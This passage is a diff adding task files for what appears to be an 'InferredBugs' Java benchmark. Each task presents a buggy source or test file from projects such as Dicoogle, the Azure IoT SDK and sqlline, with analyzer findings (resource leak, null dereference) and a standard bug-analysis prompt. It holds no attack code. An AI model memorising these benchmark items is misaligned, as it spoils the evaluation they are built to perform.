+com.yahoo.ycsb.db.MongoDbClient.insert(java.lang.String,java.lang.String,java.util.HashMap):int.758466ac0c6193407dff469c509787f5
+
+### File:
+mongodb/src/main/java/com/yahoo/ycsb/db/MongoDbClient.java
+
+### Key:
+MongoDbClient.java|insert|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+38b153d647714b323148304c8b03389f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7983/instruction.md b/inferredbugs-7983/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..11432caed2445d0f1c0bfaf2c62e3b73e6fb1eff
--- /dev/null
+++ b/inferredbugs-7983/instruction.md
@@ -0,0 +1,236 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** dicoogle
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2014  Universidade de Aveiro, DETI/IEETA, Bioinformatics Group - http://bioinformatics.ua.pt/
+ *
+ * This file is part of Dicoogle/dicoogle.
+ *
+ * Dicoogle/dicoogle is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Dicoogle/dicoogle is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Dicoogle.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package pt.ua.dicoogle.server.users;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
+
+import javax.crypto.BadPaddingException;
+import javax.crypto.Cipher;
+import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.KeyGenerator;
+import javax.crypto.NoSuchPaddingException;
+import org.slf4j.LoggerFactory;
+
+import pt.ua.dicoogle.core.settings.ServerSettingsManager;
+import pt.ua.dicoogle.sdk.Utils.Platform;
+
+/**
+ * This class provides encryptation to the file that saves users information
+ * Uses the AES algorithim with 128 bit key
+ *
+ * @author Samuel Campos <samuelcampos@ua.pt>
+ */
+public class UserFileHandle {
+
+    private String filename;
+    private String keyFile;
+
+    private Cipher cipher;
+    private Key key;
+    private boolean encrypt;
+
+    public UserFileHandle() throws IOException {
+        filename = Platform.homePath() + "users.xml";
+        encrypt = true; //ServerSettingsManager.getSettings().isEncryptUsersFile();
+        try {
+
+            if(encrypt){
+                keyFile = "users.key";
+
+                try {
+                    ObjectInputStream in = new ObjectInputStream(new FileInputStream(keyFile));
+                    key = (Key) in.readObject();
+                    in.close();
+
+                } catch (FileNotFoundException ex) {
+                    KeyGenerator gen = KeyGenerator.getInstance("AES");
+
+                    gen.init(128, new SecureRandom());
+                    key = gen.generateKey();
+
+                    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(keyFile))) {
+                        out.writeObject(key);
+                    }
+                }
+
+                cipher = Cipher.getInstance("AES");
+            }
+
+        } catch (NoSuchAlgorithmException | ClassNotFoundException | NoSuchPaddingException ex) {
+            LoggerFactory.getLogger(UserFileHandle.class).error(ex.getMessage(), ex);
+        }
+    }
+
+    /**
+     * Print one byte array in File
+     * Encrypt that file with the key
+     * @param bytes
+     */
+    public void printFile(byte[] bytes) throws Exception {
+        InputStream in;
+
+        if(encrypt){
+            cipher.init(Cipher.ENCRYPT_MODE, key);
+
+            byte[] encryptedBytes = cipher.doFinal(bytes);
+            in = new ByteArrayInputStream(encryptedBytes);
+        }
+        else
+            in = new ByteArrayInputStream(bytes);
+
+        FileOutputStream out = new FileOutputStream(filename);
+        
+
+        byte[] input = new byte[1024];
+        int bytesRead;
+        while ((bytesRead = in.read(input)) != -1) {
+            out.write(input, 0, bytesRead);
+            out.flush();
+        }
+
+        out.close();
+        in.close();
+    }
+
+    /** Retrieve the contents of the users configuration file.
+     * @return a byte array, or null if the configuration file is not available or corrupted
+     * @throws IOException on a failed attempt to read the file
+     */
+    public byte[] getFileContent() throws IOException {
+        try {
+            try (FileInputStream fin = new FileInputStream(filename);
+                    ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+                byte[] data = new byte[1024];
+                int bytesRead;
+
+                while ((bytesRead = fin.read(data)) != -1) {
+                    out.write(data, 0, bytesRead);
+                    out.flush();
+                }
+
+                if(encrypt){
+                    cipher.init(Cipher.DECRYPT_MODE, key);
+                    byte[] Bytes = cipher.doFinal(out.toByteArray());
+                    return Bytes;
+                }
+                
+                return out.toByteArray();
+            }
+        } catch (FileNotFoundException ex) {
+            LoggerFactory.getLogger(UserFileHandle.class).info("No such users file \"{}\", will create one with default settings.", filename);
+        } catch (IllegalBlockSizeException ex) {
+            LoggerFactory.getLogger(UserFileHandle.class).error("Users file \"{}\" is corrupted, will override it with default settings.", filename, ex);
+        } catch (InvalidKeyException ex) {
+            LoggerFactory.getLogger(UserFileHandle.class).error("Invalid Key to decrypt users file! Please contact your system administator.");
+            System.exit(1); // FIXME this is too dangerous
+        }
+        catch(BadPaddingException ex){
+            LoggerFactory.getLogger(UserFileHandle.class).error("Invalid Key to decrypt users file! Please contact your system administator.");
+            System.exit(2); // FIXME this is too dangerous
+        }
+        return null;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired to `out` by call to `FileOutputStream(...)` at line 109 is not released after line 121.
+**Note**: potential exception at line 114
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UserFileHandle.printFile(byte[])
+
+### Procedure Id:
+pt.ua.dicoogle.server.users.UserFileHandle.printFile(byte[]):void.64a2cc6a1c4899f3ab8ef0bcf80ce269
+
+### File:
+dicoogle/src/main/java/pt/ua/dicoogle/server/users/UserFileHandle.java
+
+### Key:
+UserFileHandle.java|printFile|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+d432292b3293128bb1a65ada833c52fc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7984/instruction.md b/inferredbugs-7984/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f75b54b4506d6ece83a375a2429307c21b4c30c0
--- /dev/null
+++ b/inferredbugs-7984/instruction.md
@@ -0,0 +1,184 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** dicoogle
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2014  Universidade de Aveiro, DETI/IEETA, Bioinformatics Group - http://bioinformatics.ua.pt/
+ *
+ * This file is part of Dicoogle/dicoogle.
+ *
+ * Dicoogle/dicoogle is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Dicoogle/dicoogle is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Dicoogle.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package pt.ua.dicoogle.server.web.servlets.accounts;
+
+import java.io.IOException;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+
+import net.sf.json.JSONArray;
+import net.sf.json.JSONObject;
+import pt.ua.dicoogle.server.users.Role;
+import pt.ua.dicoogle.server.users.User;
+import pt.ua.dicoogle.server.users.UsersStruct;
+import pt.ua.dicoogle.server.web.auth.LoggedIn;
+import pt.ua.dicoogle.server.web.auth.LoggedInStatus;
+import pt.ua.dicoogle.server.web.auth.Session;
+
+/**
+ *
+ * @author Frederico Silva <fredericosilva@ua.pt>
+ */
+public class LoginServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        //Try login
+        // Does not require admin rights.
+        LoggedInStatus loginStatus = Session.webappLogin(req, resp, false);
+        LoggedIn mLoggedIn = loginStatus.getLogin();
+
+        if (mLoggedIn == null) {
+            resp.sendError(401, "Login failed");
+            return;
+        }
+
+        JSONObject json_resp = new JSONObject();
+        json_resp.put("user", mLoggedIn.getUserName());
+        json_resp.put("admin", mLoggedIn.isAdmin());
+        User u = UsersStruct.getInstance().getUser(mLoggedIn.getUserName());
+        JSONArray rolesObj = new JSONArray();
+        if (u!=null&&u.getRoles()!=null) {
+            for (Role r : u.getRoles()) {
+                if (r!=null)
+                    rolesObj.add(r.getName());
+            }
+
+            json_resp.put("roles", rolesObj);
+        }
+        json_resp.put("token", mLoggedIn.getToken());
+
+        //Set response content type
+        resp.setContentType("application/json");
+
+        //Write response
+        json_resp.write(resp.getWriter());
+    }
+
+	@Override
+	protected void doGet(HttpServletRequest req, HttpServletResponse resp)
+			throws ServletException, IOException {
+        //resp.addHeader("Access-Control-Allow-Origin", "*");
+		HttpSession session = req.getSession(false);
+		
+		LoggedIn mLoggedIn = Session.getUserLoggedIn(session);
+		if(mLoggedIn == null){
+			resp.sendError(401);
+            return;
+		}
+			
+		JSONObject json_resp = new JSONObject();
+        json_resp.put("user", mLoggedIn.getUserName());
+        json_resp.put("admin", mLoggedIn.isAdmin());
+        User u = UsersStruct.getInstance().getUser(mLoggedIn.getUserName());
+        JSONArray rolesObj = new JSONArray();
+        for (Role r : u.getRoles())
+        {
+            rolesObj.add(r.getName());
+        }
+
+        json_resp.put("roles", rolesObj);
+
+        //Set response content type
+        resp.setContentType("application/json");
+
+        //Write response
+        json_resp.write(resp.getWriter());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `u` last assigned on line 94 could be null and is dereferenced at line 96.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LoginServlet.doGet(HttpServletRequest,HttpServletResponse)
+
+### Procedure Id:
+pt.ua.dicoogle.server.web.servlets.accounts.LoginServlet.doGet(javax.servlet.http.HttpServletRequest.8aa2cabb5561e4f1fee76a121a1280ec
+
+### File:
+dicoogle/src/main/java/pt/ua/dicoogle/server/web/servlets/accounts/LoginServlet.java
+
+### Key:
+LoginServlet.java|doGet|NULL_DEREFERENCE
+
+### Node Key:
+50eb9480b1a39477599a8d0ef0064573
+
+### Hash:
+29593849ea0c1e8071c88e0e815dc95d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8025/instruction.md b/inferredbugs-8025/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7e0919f740d60c7ad99017c6efdc8bcf24064742
--- /dev/null
+++ b/inferredbugs-8025/instruction.md
@@ -0,0 +1,472 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** azure-iot-sdk-java
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// Copyright (c) Microsoft. All rights reserved.
+// Licensed under the MIT license. See LICENSE file in the project root for full license information.
+
+package com.microsoft.azure.sdk.iot.device.transport.mqtt;
+
+import mockit.Deencapsulation;
+import org.junit.Test;
+
+import java.io.IOException;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+public class TopicParserTest
+{
+
+    /*
+    Tests_SRS_TopicParser_25_001: [**The constructor shall spilt the topic by "/" and save the tokens.**]**
+     */
+    @Test
+    public void constructorSucceeds()
+    {
+        //arrange
+        String validString = "$iothub/twin/res/";
+
+        //act
+        TopicParser testParser = new TopicParser(validString);
+
+        //assert
+        assertNotNull(testParser);
+        String[] tokens = Deencapsulation.getField(testParser, "topicTokens");
+        assertNotNull(tokens);
+        assertTrue(tokens.length > 1);
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_002: [**The constructor shall throw IllegalArgument exception if topic is null or empty.**]**
+     */
+    @Test (expected = IllegalArgumentException.class)
+    public void constructorFailsInvalidTopic()
+    {
+        //arrange
+        String validString = "";
+
+        //act
+        TopicParser testParser = new TopicParser(validString);
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_004: [**This method shall return the status corresponding to the tokenIndexStatus from tokens if it is not null.**]**
+     */
+    @Test
+    public void getStatusGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/status";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getStatus(3);
+
+        //assert
+        assertNotNull(status);
+        assertTrue(status.equals("status"));
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_003: [**If tokenIndexStatus is not valid i.e less than or equal to zero or greater then token length then getStatus shall throw  IllegalArgumentException.**]**
+     */
+    @Test (expected = IllegalArgumentException.class)
+    public void getStatusInvalidTokenThrows() throws IOException
+    {
+        String validString = "$iothub/twin/res/status";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getStatus(4);
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_005: [**If token corresponding to tokenIndexStatus is null then this method shall throw IoException.**]**
+     */
+    @Test (expected = IllegalArgumentException.class)
+    public void getStatusMandatoryStatusExpected() throws IOException
+    {
+        String validString = "$iothub/twin/res/";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getStatus(3);
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_007: [**This method shall return the request ID value corresponding to the tokenIndexReqID from tokens.**]**
+     */
+    @Test
+    public void getRequestIdGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid=5";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        //assert
+        assertNotNull(status);
+        assertTrue(status.equals(String.valueOf(5)));
+    }
+
+    @Test
+    public void getRequestIdGets_pattern1() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/$rid=5";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        //assert
+        assertNull(status);
+    }
+
+    @Test
+    public void getRequestIdGets_pattern2() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid=";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        //assert
+        assertNotNull(status);
+    }
+
+    @Test
+    public void getRequestIdGets_pattern3() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid5&$version=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        assertNull(status);
+    }
+    /*
+    Tests_SRS_TopicParser_25_008: [**If the topic token does not contain request id then this method shall return null.**]**
+     */
+    @Test
+    public void getRequestIdGetsNullIfNotFound() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$version=5";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        //assert
+        assertNull(status);
+
+    }
+
+    @Test
+    public void getRequestIdOnTopicWithVersionGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$version=7&$rid=5";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        //assert
+        assertNotNull(status);
+        assertTrue(status.equals(String.valueOf(5)));
+
+    }
+
+    @Test
+    public void getRequestIdOnTopicWithVersionBeforeRidGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid=5&$version=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(3);
+
+        //assert
+        assertNotNull(status);
+        assertTrue(status.equals(String.valueOf(5)));
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_006: [**If tokenIndexReqID is not valid i.e less than or equal to zero or greater then token length then getRequestId shall throw  IllegalArgumentException.**]**
+     */
+    @Test (expected = IllegalArgumentException.class)
+    public void getRequestIdInvalidTokenThrows() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid=5&$version=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getRequestId(4);
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_010: [**This method shall return the version value(if present) corresponding to the tokenIndexVersion from tokens.**]**
+     */
+    @Test
+    public void getVersionGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$version=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String version = testParser.getVersion(3);
+
+        //assert
+        assertNotNull(version);
+        assertTrue(version.equals(String.valueOf(7)));
+    }
+
+    @Test
+    public void getVersionGets_pattern1() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/$version=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getVersion(3);
+
+        //assert
+        assertNull(status);
+    }
+
+    @Test
+    public void getVersionGets_pattern2() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$version=";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getVersion(3);
+
+        //assert
+        assertNotNull(status);
+    }
+
+    @Test
+    public void getVersionGets_pattern3() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid5&$version7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String status = testParser.getVersion(3);
+
+        assertNull(status);
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_011: [**If the topic token does not contain version then this method shall return null.**]**
+     */
+    @Test
+    public void getVersionGetsNullIfNotPresent() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String version = testParser.getVersion(3);
+
+        //assert
+        assertNull(version);
+    }
+    @Test
+    public void getVersionOnTopicWithRIDGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$rid=5&$version=7";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String version = testParser.getVersion(3);
+
+        //assert
+        assertNotNull(version);
+        assertTrue(version.equals(String.valueOf(7)));
+
+    }
+
+    @Test
+    public void getVersionOnTopicWithVersionBeforeRIDGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$version=7&$rid=5";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String version = testParser.getVersion(3);
+
+        //assert
+        assertNotNull(version);
+        assertTrue(version.equals(String.valueOf(7)));
+
+    }
+    /*
+    Tests_SRS_TopicParser_25_009: [**If tokenIndexVersion is not valid i.e less than or equal to zero or greater then token length then getVersion shall throw  IllegalArgumentException.**]**
+     */
+    @Test (expected = IllegalArgumentException.class)
+    public void getVersionInvalidTokenThrows() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/twin/res/?$version=7&$rid=5";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String version = testParser.getVersion(0);
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_013: [**This method shall return the method name(if present) corresponding to the tokenIndexMethod from tokens.**]**
+
+    Tests_SRS_TopicParser_25_014: [**If the topic token does not contain method name or is null then this method shall throw IOException.**]**
+     */
+    @Test
+    public void getMethodNameGets() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/methods/res/methodName";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String methodName = testParser.getMethodName(3);
+
+        //assert
+        assertNotNull(methodName);
+        assertTrue(methodName.equals("methodName"));
+
+
+    }
+
+    /*
+    Tests_SRS_TopicParser_25_012: [**If tokenIndexMethod is not valid i.e less than or equal to zero or greater then token length then getMethodName shall throw  IllegalArgumentException.**]**
+     */
+    @Test (expected = IllegalArgumentException.class)
+    public void getMethodNameInvalidTokenThrows() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/methods/res/methodName";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String methodName = testParser.getMethodName(4);
+    }
+
+    @Test (expected = IllegalArgumentException.class)
+    public void getMethodNameInvalidTokenThrows_1() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/methods/res/";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String methodName = testParser.getMethodName(3);
+    }
+
+    @Test (expected = IllegalArgumentException.class)
+    public void getMethodNameInvalidTokenThrows_2() throws IOException
+    {
+        //arrange
+        String validString = "$iothub/methods/res//";
+        TopicParser testParser = new TopicParser(validString);
+
+        //act
+        String methodName = testParser.getMethodName(3);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `status` last assigned on line 197 could be null and is dereferenced at line 201.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TopicParserTest.getRequestIdOnTopicWithVersionBeforeRidGets()
+
+### Procedure Id:
+com.microsoft.azure.sdk.iot.device.transport.mqtt.TopicParserTest.getRequestIdOnTopicWithVersionBefo.c539ba5e0229e9ebd0fe4671a643ee0b
+
+### File:
+device/iot-device-client/src/test/java/tests/unit/com/microsoft/azure/sdk/iot/device/transport/mqtt/TopicParserTest.java
+
+### Key:
+TopicParserTest.java|getRequestIdOnTopicWithVersionBeforeRidGets|NULL_DEREFERENCE
+
+### Node Key:
+f133a6dfaa072505a5ed16416e655ea0
+
+### Hash:
+74667c195ceccb4fb835051551b3357d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8103/instruction.md b/inferredbugs-8103/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..38e9d497527a12c66b9b7c32586a472b77f63cba
--- /dev/null
+++ b/inferredbugs-8103/instruction.md
@@ -0,0 +1,2662 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sqlline
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+// Licensed to Julian Hyde under one or more contributor license
+// agreements. See the NOTICE file distributed with this work for
+// additional information regarding copyright ownership.
+//
+// Julian Hyde licenses this file to you under the Modified BSD License
+// (the "License"); you may not use this file except in compliance with
+// the License. You may obtain a copy of the License at:
+//
+// http://opensource.org/licenses/BSD-3-Clause
+*/
+package sqlline;
+
+import java.io.*;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.sql.DatabaseMetaData;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.TreeSet;
+import java.util.stream.Collectors;
+
+import org.h2.util.StringUtils;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hsqldb.jdbc.CustomDatabaseMetadata;
+import org.hsqldb.jdbc.JDBCConnection;
+import org.hsqldb.jdbc.JDBCDatabaseMetaData;
+import org.hsqldb.jdbc.JDBCResultSet;
+import org.hsqldb.jdbc.JDBCResultSetMetaData;
+import org.jline.builtins.Commands;
+import org.jline.terminal.Terminal;
+import org.junit.jupiter.api.Test;
+
+import mockit.Expectations;
+import mockit.Mock;
+import mockit.MockUp;
+import mockit.Mocked;
+import mockit.internal.reflection.FieldReflection;
+import net.hydromatic.scott.data.hsqldb.ScottHsqldb;
+import sqlline.extensions.CustomApplication;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Executes tests of the command-line arguments to SqlLine.
+ */
+public class SqlLineArgsTest {
+  private static final ConnectionSpec CONNECTION_SPEC = ConnectionSpec.HSQLDB;
+  private ConnectionSpec connectionSpec;
+
+  public SqlLineArgsTest() {
+    connectionSpec = CONNECTION_SPEC;
+  }
+
+  static SqlLine.Status begin(SqlLine sqlLine, OutputStream os,
+      boolean saveHistory, String... args) {
+    try {
+      PrintStream beelineOutputStream = getPrintStream(os);
+      sqlLine.setOutputStream(beelineOutputStream);
+      sqlLine.setErrorStream(beelineOutputStream);
+      final InputStream is = new ByteArrayInputStream(new byte[0]);
+      return sqlLine.begin(args, is, saveHistory);
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Execute a script with "beeline -f".
+   *
+   * @return The stderr and stdout from running the script
+   * @param args Script arguments
+   */
+  private static Pair run(String... args) {
+    try {
+      SqlLine beeLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      SqlLine.Status status = begin(beeLine, os, false, args);
+      return new Pair(status, os.toString("UTF8"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  private Pair runScript(File scriptFile, boolean flag, String outputFileName) {
+    return runScript(connectionSpec, scriptFile, flag, outputFileName);
+  }
+
+  private static Pair runScript(ConnectionSpec connectionSpec, File scriptFile,
+      boolean flag, String outputFileName) {
+    List<String> args = new ArrayList<>();
+    Collections.addAll(args,
+        "-d", connectionSpec.driver,
+        "-u", connectionSpec.url,
+        "-n", connectionSpec.username,
+        "-p", connectionSpec.password);
+    if (flag) {
+      args.add("-f");
+      args.add(scriptFile.getAbsolutePath());
+    } else {
+      args.add("--run=" + scriptFile.getAbsolutePath());
+    }
+    if (outputFileName != null) {
+      args.add("-log");
+      args.add(outputFileName);
+    }
+    return run(args.toArray(new String[0]));
+  }
+
+  /**
+   * Attempts to execute a simple script file with the -f option to SqlLine.
+   * Tests for presence of an expected pattern in the output (stdout or stderr).
+   *
+   * @param scriptText    Script text
+   * @param flag          Command flag (--run or -f)
+   * @param statusMatcher Checks whether status is as expected
+   * @param outputMatcher Checks whether output is as expected
+   */
+  private void checkScriptFile(String scriptText, boolean flag,
+      Matcher<SqlLine.Status> statusMatcher,
+      Matcher<String> outputMatcher) {
+    try {
+      // Put the script content in a temp file
+      File scriptFile = createTempFile("foo", "temp");
+      PrintStream os =
+          new PrintStream(
+              new FileOutputStream(scriptFile),
+              false,
+              StandardCharsets.UTF_8.name());
+      os.print(scriptText);
+      os.close();
+
+      Pair pair = runScript(scriptFile, flag, null);
+
+      // Check output before status. It gives a better clue what went wrong.
+      assertThat(toLinux(pair.output), outputMatcher);
+      assertThat(pair.status, statusMatcher);
+      final boolean delete = scriptFile.delete();
+      assertThat(delete, is(true));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Windows line separators in a string into Linux line separators;
+   * a Linux string is unchanged. */
+  private static String toLinux(String s) {
+    return s.replaceAll("\r\n", "\n");
+  }
+
+  private File createTempFile(String prefix, String suffix) {
